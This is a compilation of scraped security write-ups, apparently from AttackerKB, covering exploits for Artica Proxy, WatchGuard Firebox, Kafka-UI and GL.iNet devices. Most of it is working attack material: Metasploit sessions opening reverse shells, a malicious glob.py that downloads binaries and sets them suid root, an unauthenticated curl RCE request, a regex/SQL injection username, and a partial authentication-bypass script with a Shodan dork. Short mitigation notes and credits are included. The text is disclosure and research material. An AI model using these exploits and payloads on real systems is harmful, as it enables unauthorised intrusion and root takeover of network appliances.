DUD is a vulnerability that can occur in software systems that use serialization and deserialization. Serialization is the process of converting an object’s state to a stream of bytes, while deserialization is the process of recreating the object from the stream of bytes.

This is typically used to exchange information between systems. Distributed systems often share objects across separate nodes, so objects must be delivered over the wire. Since objects tend to consist of many parts, it can be time-consuming to write code that handles the delivery of each individual part. Serialization enables us to save and transmit the state of an object in a standardized way. Deserialization then enables us to recreate objects after they have been serialized for transmission over the wire, between applications, through firewalls, and more.

In a system that uses DUD, untrusted data, such as data received from an external source, is deserialized without proper validation. This can allow an attacker to inject malicious data into the system, potentially leading to security vulnerabilities such as remote code execution, unauthorized access to sensitive data, or other malicious actions (see also MITRE CWE-502: Deserialization of Untrusted Data or OWASP CWE-502: Deserialization of Untrusted Data).

And this vulnerability is one of the many that we see nowadays. Korelogic discovered a DUD in Artica Proxy 4.50 and 4.40 in wiz.wizard.progress.php where prior to authentication, a user can send an HTTP request to the /wizard/wiz.wizard.progress.php endpoint. This endpoint processes the build-js query parameter by base64 decoding the provided value without checking the data and then calling the unserialize PHP function with the decoded value as input. More technical details can be found in the Korelogic Advisory KL-001-2024-002.

I have created a Metasploit module that will exploit this vulnerability. I did make some enhancements compared to the POC that Korelogic published. For instance, I am not overwriting the file /usr/share/artica-postfix/wizard/wiz.upload.php but creating a randomized PHP file to trigger the remote code execution which is removed automatically after successful exploitation to cover our tracks.

Module Details

msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info

       Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability
     Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-05

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Jaggar Henry of KoreLogic Inc.

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   PHP
      1   Unix Command
      2   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
                                        sics/using-metasploit.html
  RPORT      9000             yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The Artica Proxy endpoint URL
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host
  WEBSHELL                    no        Set webshell name without extension. Name will be randomly generated if left un
                                        set.


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on t
                                      he local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  1981             yes       The local port to listen on.


  When TARGET is not 0:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COMMAND  passthru         yes       Use PHP command function (Accepted: passthru, shell_exec, system, exec)

Payload information:

Description:
  A Command Injection vulnerability in Artica Proxy appliance 4.50 and below allows
  remote attackers to run arbitrary commands via unauthenticated HTTP request.
  The Artica Proxy administrative web application will deserialize arbitrary PHP objects
  supplied by unauthenticated users and subsequently enable code execution as the "www-data" user.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2024-2054
  https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054
  https://packetstormsecurity.com/files/177482


View the full module info with the info -d command.

Target 0 – PHP native php/meterpreter/reverse_tcp session

msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo
webshell => cuckoo
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0
target => 0
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4
rhosts => 192.168.201.4
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:9000 can be exploited.
[+] The target is vulnerable. Artica version: 4.50
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.4
[+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php
[*] Meterpreter session 15 opened (192.168.201.8:4444 -> 192.168.201.4:33986) at 2024-03-15 17:46:04 +0000

meterpreter > sysinfo
Computer    : artica-applianc
OS          : Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data
meterpreter >

Mitigation

If you want to test the module, you can download a vulnerable Artica Proxy appliance from here. You are strongly advised to upgrade your appliance to the latest version, but at least to a version greater then 4.50. Another quick fix is to remove the /usr/share/artica-postfix/wizard directory if it is not needed.

References

CVE-2024-2054
Korelogic Advisory KL-001-2024-002
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Artica Proxy Appliance ISO Downloads
Metasploit PR 18967: Artica Proxy unauthenticated RCE

Credits

Credits goes to the security researcher below who discovered this vulnerability

  • Jaggar Henry of KoreLogic Inc.
3
Ratings
Technical Analysis

This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this attackerkb article.
The initial access is non privileged as user nobody and /etc/fstab shows that all filesystems are either protected with read-only, no-suid or no-exec. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox which only provides a very limited command set. This makes living off the land pretty useless except for the nmap binary which is installed by default.

Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> os.getuid()
99
>>> os.getgid()
96
>>> import subprocess
>>> print(open("/etc/fstab").read())
/dev/wgrd.sysa_code    /           ext2        ro,noatime              1 1
/dev/wgrd.sysa_data    /etc/wg     ext3        rw,noexec,noatime       0 0
none                   /proc       proc        defaults                0 0
none                   /sys        sysfs       defaults                0 0
/dev/wgrd.boot         /boot       ext2        ro,noexec,noatime       0 0
/dev/wgrd.pending      /pending    ext2        rw,noexec,noatime       0 0
/dev/wgrd.var          /var        ext2        rw,noexec,noatime       0 0

# wg_linux platform.pkgspec

>>> subprocess.call(["nmap", "127.0.0.1"])
Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET
Nmap scan report for localhost.localdomain (127.0.0.1)
Host is up (0.0014s latency).
Not shown: 990 closed ports
PORT     STATE SERVICE
80/tcp   open  http
4125/tcp open  rww
4126/tcp open  ddrepl
5000/tcp open  upnp
5001/tcp open  commplex-link
5002/tcp open  rfe
5003/tcp open  filemaker
5004/tcp open  avt-profile-1
6001/tcp open  X11:1
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
0
>>>

So the big question, how do we get privileged access?
Luckily, the appliance has python installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep program, that generates a crash report whenever a program crashes. And it has the setuid bit set on user root.

>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"])
-rwsr-xr-x    1 root     admin        31424 Sep 28  2021 /usr/bin/fault_rep
0
>>>

Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen, a python program. Here are lines of the program:

>>> print(open("/usr/bin/diag_snapgen").read())
#!/usr/bin/python

#
# Diagnostic Snapshot Generator
#
# This script runs when a fault triggers through the Fault Reporting System.
#

import subprocess
import glob

#
# These files will have their contents copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
FILES = [
    '/etc/wg/bootlog',
    '/var/log/*.log',
    '/var/log/trace/*.log',
    '/proc/interrupts',
    '/proc/meminfo'
]

#
# These programs will have their output copied into the diagnostic snapshot
# file.  Add (or subtract!) from this list at will.
#
PROGRAMS = [
    '/bin/ps',
    '/bin/ls -l /tmp',
    '/bin/df',
    '/bin/dmesg'
]

#
# Diagnostic Snapshot Generation
#

for i, path in enumerate(FILES):
    for j, name in enumerate(glob.glob(path)):
        print "=== %s ===" % (name)
        try:
            f = open(name)
            for line in f:
                print line,

            f.close()
        except:
            print "(Unable to open file!)"
        print

for i, name in enumerate(PROGRAMS):
    print "=== %s ===" % (name)
    try:
        name = name.split()
        p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = p.communicate()
        if p.returncode:
            raise(Exception(err))
        print out
    except:
        print "(Unable to run command!)"
    print

>>>

This is pretty promising because glob.py, which is imported, can be easily exchanged by a malicious program with the same name. This will run under root context.

So let’s think this thru…

  • We create a malicious glob.py where we can run python code under the context of root.
  • This python code should remount a filesystem with exec and read-write rights.
  • A good candidate is the /dev/wgrd.pending filesystem.
  • We can download a static linked bash and busybox x86-64 binary from the web.
  • Change the ownership to root.admin and set the suid and sgid bit on both binaries.
  • We should now be able to spin off a root shell that gives us full control on the appliance.

This sounds like a plan…
Here is malicious glob.py code.

import subprocess, os, requests, ctypes
# set root
os.setuid(0)
os.setgid(0)

# remount /pending directory to enable suid and execution
def mount(source, target, fs, options='', flags=0):
  ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options)
  if ret < 0:
    errno = ctypes.get_errno()
    raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno)))

# 32 -- MS_REMOUNT flag
mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32)

# get the bash static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False)
with open("/pending/tmp/bash", mode="wb") as file:
	file.write(response.content)

# get busybox static x86_64 binary
response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False)
with open("/pending/tmp/busybox", mode="wb") as file:
	file.write(response.content)

# setuid and sgid bit and make world executable. Bingo, you are root now!
os.chown("/pending/tmp/bash", 0, 0)
os.chmod("/pending/tmp/bash", 0o6755)
os.chown("/pending/tmp/busybox", 0, 0)
os.chmod("/pending/tmp/busybox", 0o6755)
exit()

Ok, let’s test this…
We will first upload our malicious glob.py to /tmp which is by default read-write, however we can not run any binaries in /tmp except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py gets imported, we need to change the PYTHONPATH to /tmp or ..
We than call our root suid program /usr/bin/fault_rep and our malicious glob.py should do the magic.

>>> import requests
>>> response = requests.get("http://192.168.201.8:1980/glob.py")
>>> with open("/tmp/glob.py", mode="w") as file:
... 	file.write(response.content)
...
>>> subprocess.call(["ls", "-l", "/tmp/glob.py"])
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:03 /tmp/glob.py
0
>>>

Ok, we have successfully downloaded glob.py. Please ensure that you have a http server running on your attacker machine.
Next step is to set the PYTHONPATH and run /usr/bin/fault_rep.

>>> myenv = os.environ.copy()
>>> myenv['PYTHONPATH'] = '.'
>>> print(myenv)
{'PYTHONPATH': '.'}
>>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv)
generating fault [01/unspecified] (Failed Assertion)...
0
>>>

Let’s check if the binaries are downloaded in /pending/tmp directory and owned by root.admin with suid and sgid bit set.

>>> subprocess.call(["ls", "-l", "/pending/tmp"])
-rwsr-sr-x    1 root     admin      2772944 Mar  8 17:14 bash
-rwsr-sr-x    1 root     admin      1894248 Mar  8 17:14 busybox
srw-r-----    1 nobody   nobody           0 Mar  7 22:38 cgi
-rw-r--r--    1 root     admin            0 Mar  8 16:37 configd.log
srw-rw-rw-    1 nobody   wg               0 Mar  7 22:38 epm
srw-rw-rw-    1 root     admin            0 Mar  7 22:38 geolocation
-rw-r--r--    1 nobody   wg            1364 Mar  8 17:00 glob.py
prw-------    1 nobody   wg               0 Mar  7 22:38 radiusd
prw-------    1 nobody   wg               0 Mar  7 22:38 rsso-auth
srwxr-xr-x    1 nobody   admin            0 Mar  7 22:38 webui
srw-rw-rw-    1 nobody   wg               0 Mar  8 16:00 wgagent
0
>>>

Cool, the trick worked!
Let’s get our bash root shell…

>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2$ /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)
bash-5.2$

Mmm, that’s strange. Looks that suid is not working.
Ahh, this rings a bell. Set suid bit on a bash shell does not work out of the box. There is -p option that overrides this behavior.

bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"])
bash: cannot set terminal process group (11397): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=99(nobody) gid=96(wg)

We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid and sgid once more and launch the bash shell again.

bash-5.2# python -i
python -i
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.setgid(0)
>>> import subprocess
>>> subprocess.call(["/pending/tmp/bash", "-i"])
bash: cannot set terminal process group (12299): Not a tty
bash: no job control in this shell
bash-5.2# /pending/tmp/busybox id
/pending/tmp/busybox id
uid=0(root) gid=0(admin)
bash-5.2#

Here we go!
We have full root access now.

References

CVE-2022-31791
Blind exploits to rule WatchGuard firewalls by Charles Fol
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.

2
Ratings
Technical Analysis

Almost two years ago (28 march 2022) jbaines published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).

The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only or no-exec, no-suid options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.

I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.

Module in action

msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options

Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
                                         ploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       WatchGuard Firebox base url
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   CreateSession  true             no        Create a new session for every successful login
   LHOST                           yes       The listen address (an interface may be specified)
   LPORT          4444             yes       The listen port
   SHELL          /usr/bin/python  yes       The system shell to use


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Reverse Python Interactive Shell)

View the full module info with the info, or info -d command.
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24
rhosts => 192.168.201.24
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.24:8080 can be exploited.
[+] The target appears to be vulnerable.
[*] 192.168.201.24:8080 - Attempting to exploit...
[*] 192.168.201.24:8080 - Sending payload...
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000


Shell Banner:
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
[GCC 6.5.0] on linux2
-----

>>> import os
>>> import subprocess
>>> os.listdir("./")
['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py']
>>>
>>> os.getuid()
99
>>> os.getgid()
96
>>> print(open("/etc/passwd").read())
root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash
bin:x:1:1:bin:/bin:
system:x:2:96:WG System daemons:/:
nobody:x:99:99:Nobody:/:
wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd:
openvpn:x:97:97:OpenVPN daemon:/:
www:x:96:95:WebUI:/:
cli:x:95:95:CLI:/:
cfm:x:94:94:CFM:/var/cfm_sandbox:
agent:x:93:96:WG Agent:/:
scand:x:91:94:Scanning Daemon:/var/run/scand:
spamd:x:90:94:Spam Daemon:/var/cfm_sandbox:
sshd:x:89:89:sshd privilege separation:/var/empty:
quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga:
wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha:
netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg:
cwagent:x:100:100:ConnectWise Agent:/var/empty:
dimension:x:101:101:Dimension Service:/var/run/dimension:
tss:x:102:102:trousers daemon:/:
atagent:x:103:103:Autotask Agent:/var/empty:
psad:x:104:104:PSA Daemon:/var/empty:
guac:x:105:105:Guacamole Daemons:/var/run/guac:
portald:x:106:105:Portald:/var/run/portald:
admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty:
tpagent:x:111:96:Tigerpaw Agent:/var/empty:

>>> print(open("/etc/group").read())
admin:x:0:0
bin:x:1:admin,bin
nobody:x:99:
wgntp:x:98:
openvpn:x:97:
wg:x:96:
ui:x:95:
proxy:x:94:
sshd:x:89:
quagga:x:88:
netdbg:x:87:
cwagent:x:100:
dimension:x:101:
tss:x:102:
atagent:x:103:
psad:x:104:
ctlvpn:x:105:
dnswatchd:x:107:

>>> os.uname()
('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64')
>>>

References

CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download

Credits

Credits goes to Charles Fol of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur from AssetNote.

1
Ratings
Technical Analysis

Kafka UI is a nice web front-end that provides a fast and lightweight web UI for managing Apache Kafka® clusters developed by provectus.
Unfortunately there is a Remote Code Execution vulnerability at the latest version 0.7.1 that was discovered and disclosed on Sep 27, 2023 to provectus, but not yet patched.
The vulnerability can be exploited via the q parameter at /api/clusters/local/topics/{topic}/messages endpoint which allows the use to define a Groovy script filter. There is no sanitation of the groovy script filter before it is executed. This allows an attacker to execute arbitrary code on the server.

The vulnerable code can be found in the function groovyScriptFilter:

  static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
    var engine = getGroovyEngine();
    var compiledScript = compileScript(engine, script);
    var jsonSlurper = new JsonSlurper();
    return new Predicate<TopicMessageDTO>() {
      @SneakyThrows
      @Override
      public boolean test(TopicMessageDTO msg) {
        var bindings = engine.createBindings();
        bindings.put("partition", msg.getPartition());
        bindings.put("offset", msg.getOffset());
        bindings.put("timestampMs", msg.getTimestamp().toInstant().toEpochMilli());
        bindings.put("keyAsText", msg.getKey());
        bindings.put("valueAsText", msg.getContent());
        bindings.put("headers", msg.getHeaders());
        bindings.put("key", parseToJsonOrReturnAsIs(jsonSlurper, msg.getKey()));
        bindings.put("value", parseToJsonOrReturnAsIs(jsonSlurper, msg.getContent()));

        var result = compiledScript.eval(bindings);  <==== vulnerable code
        
        if (result instanceof Boolean) {
          return (Boolean) result;
        } else {
          throw new ValidationException(
              "Unexpected script result: %s, Boolean should be returned instead".formatted(result));
        }
      }
    };
  }

The exploit is pretty simple to execute by the request below:
We are using a Groovy OS execution code snippet "touch /tmp/cuckoo".execute(); to test the vulnerability.
You need an active Kafka cluster, in this case our cluster is named local and a topic (cuckoo) which you can create if there are no topics.

curl 'http://192.168.201.25:8080/api/clusters/local/topics/cuckoo/messages?q=%22touch%20%2Ftmp%2Fcuckoo%22.execute()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING'
/tmp $ ls -l
total 4
-rw-r--r--    1 kafkaui  kafkaui          0 Jan 24 16:26 cuckoo
drwxr-xr-x    2 kafkaui  kafkaui       4096 Jan 24 16:25 hsperfdata_kafkaui
/tmp $ 

Pretty simple, right?
And without any authentication!!!

If you want to make a more complex system command, you should not use "my commandline".execute() because it can not handle unix pipe |, redirection > and command chaining with ;.
You better use some Groovy scripting along the lines like below:
"Process p=new ProcessBuilder(\"sh\",\"-c\",\"<my complex cmd_line>\").redirectErrorStream(true).start()"

If you want to play around with this vulnerability, just follow the steps below to install a vulnerable Kafka-ui instance with an active Kafka cluster.

Installation steps to install Kafka ui

  • Install Docker on your preferred platform.
  • Here are the installation instructions for Docker Desktop on MacOS.
  • Create a empty directory (kafka-ui).
  • Create the following docker-compose.yaml file in the directory. This will automatically create a Kafka cluster with Kafka-ui. You can modify the v0.7.0 in the yaml file to pull different versions.
version: '2'

networks:
  rmoff_kafka:
    name: rmoff_kafka

services:
  zookeeper:
    image: confluentinc/cp-zookeeper:latest
    container_name: zookeeper
    networks:
      - rmoff_kafka
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181
      ZOOKEEPER_TICK_TIME: 2000
    ports:
      - 22181:2181

  kafka:
    image: confluentinc/cp-kafka:latest
    container_name: kafka
    networks:
      - rmoff_kafka
    depends_on:
      - zookeeper
    ports:
      - 29092:9092
    environment:
      KAFKA_BROKER_ID: 1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1

  kafka-ui:
    container_name: kafka-ui
    image: provectuslabs/kafka-ui:v0.7.0
    networks:
      - rmoff_kafka
    ports:
      - 8080:8080
    depends_on:
      - kafka
      - zookeeper
    environment:
      KAFKA_CLUSTERS_0_NAME: local
      KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
      KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
      KAFKA_BROKERCONNECT: kafka:9092
      DYNAMIC_CONFIG_ENABLED: 'true'
      KAFKA_CLUSTERS_0_METRICS_PORT: 9997
  • Run following command docker-compose up -d to install and run the Kafka ui and cluster environment.
  • Your Kafka ui should be accessible on http://localhost:8080 with an active Kafka cluster running.
  • You can bring down the environment for a fresh start with the command docker-compose down --volumes.

You are now ready to test the vulnerability.

And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18700 at Metasploit Github development.

Mitigation

Kafka-ui versions between v0.4.0v0.7.1 are vulnerable and there is no fix.
There is no outlook yet when it will be fixed, so do not use a default installation which has no authentication enabled.
It is strongly advised to configure Kafka-ui with basic authentication.

References

CVE-2023-52251
Kafka-ui unauthenticated RCE – h00die-gr3y Metasploit local repository
Kafka-ui unauthenticated RCE – Metasploit PR 18700
POC
Kafka-ui Github development

Credits

1
Ratings
Technical Analysis

There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx authentication through a Lua string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY who discovered this vulnerability in October 2023.

I am not gonna repeat the whole article here, because you can read it for yourself, but I will quickly summarize the issue.
The flaw sits in the /usr/sbin/gl-ngx-session, the actual Lua handler for the authentication mechanism which is the standard for GL.iNet network devices.

Within the this code there is a loop through the /etc/shadow file to authenticate a user where the username is used for the lookup using a regex.
By manipulating the username with additional regex statements, one can manipulate the lookup, so that it retrieves the uid field instead of the password field, hence using this for a valid root login will return a session id (SID) to be used for authentication.

local function login_test(username, hash)
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then
            for nonce in pairs(nonces) do
                if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

Regex injection happens inside the login_test function; it tries to match everything from the first colon (the hashed password) until the next one.

root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::

With the following username: root:[^:]+:[^:]+ the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+) that shifts forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>.

Additionally, some ACL’s are required that are stored in the SQLite db. This lookup, which is coded in /usr/lib/lua/oui/db.lua, is not successful because we manipulated the username.

M.get_acl_by_username = function(username)
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)
    local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do
        aclgroup = a[1]
    end

    db:close()

    return aclgroup
end

However, by a brilliant combination of the regex and sql injection, DZONERZY was able to retrieve that information in one go with the username below.

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

Pretty cool !!!

But unfortunately quite bad for our users who bought a GL.iNet network device, because at the time of writing most of the devices that are exposed to Internet (shodan dork: title:"GL.iNet Admin Panel") are vulnerable for this authentication bypass.
Even worse, in combination of CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required.
Please check out my attackerKB article for more info.

Below is a python script that checks if your device is vulnerable for CVE-2023-50919.

#!/usr/bin/env python3

# Exploit Title: GL.iNet Authentication bypass
# Shodan Dork: title:"GL.iNet Admin Panel"
# Date: 30/12/2023
# Exploit Author: h00die-gr3y@gmail.com
# Vendor Homepage: https://www.gli-inet.com
# Software Link: https://dl.gl-inet.com/?model=ar300m16
# Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin
# Version: 4.3.7
# Tested on: GL.iNet AR300M16
# CVE: CVE-2023-50919

import json
import requests
import hashlib
import time
from random import randint
from sys import stdout, argv

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

proxies = {
   'http': 'http://127.0.0.1:8080',
   'https': 'http://127.0.0.1:8080',
}

proxies = {} # no proxy

def get_challenge(url):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'challenge',
                'params': {'username': 'root'}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['nonce']
                print('[-] Error: could not find nonce')
                return False
        except requests.exceptions.RequestException:
                print('[-] Error while retrieving challenge')
        return False


def login(url, username, hash):
        data = {
                'jsonrpc': '2.0',
                'id': randint(1000, 9999),
                'method': 'login',
                'params': {
                        'username': '{}'.format(username),
                        'hash': '{}'.format(hash)}
        }
        try:
                res = requests.post(url, json=data, verify=False, proxies=proxies)
                res.raise_for_status()
                res_json = json.loads(res.content)
                if 'result' in res_json:
                        return res_json['result']['sid']
                print('[-] Error: could not find sid')
                return False

        except requests.exceptions.RequestException:
                print('[-] Error while retrieving sid')
        return False

def main(url):
        print('[+] Started GL.iNet - Authentication Bypass exploit')
        username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
        pw = '0'
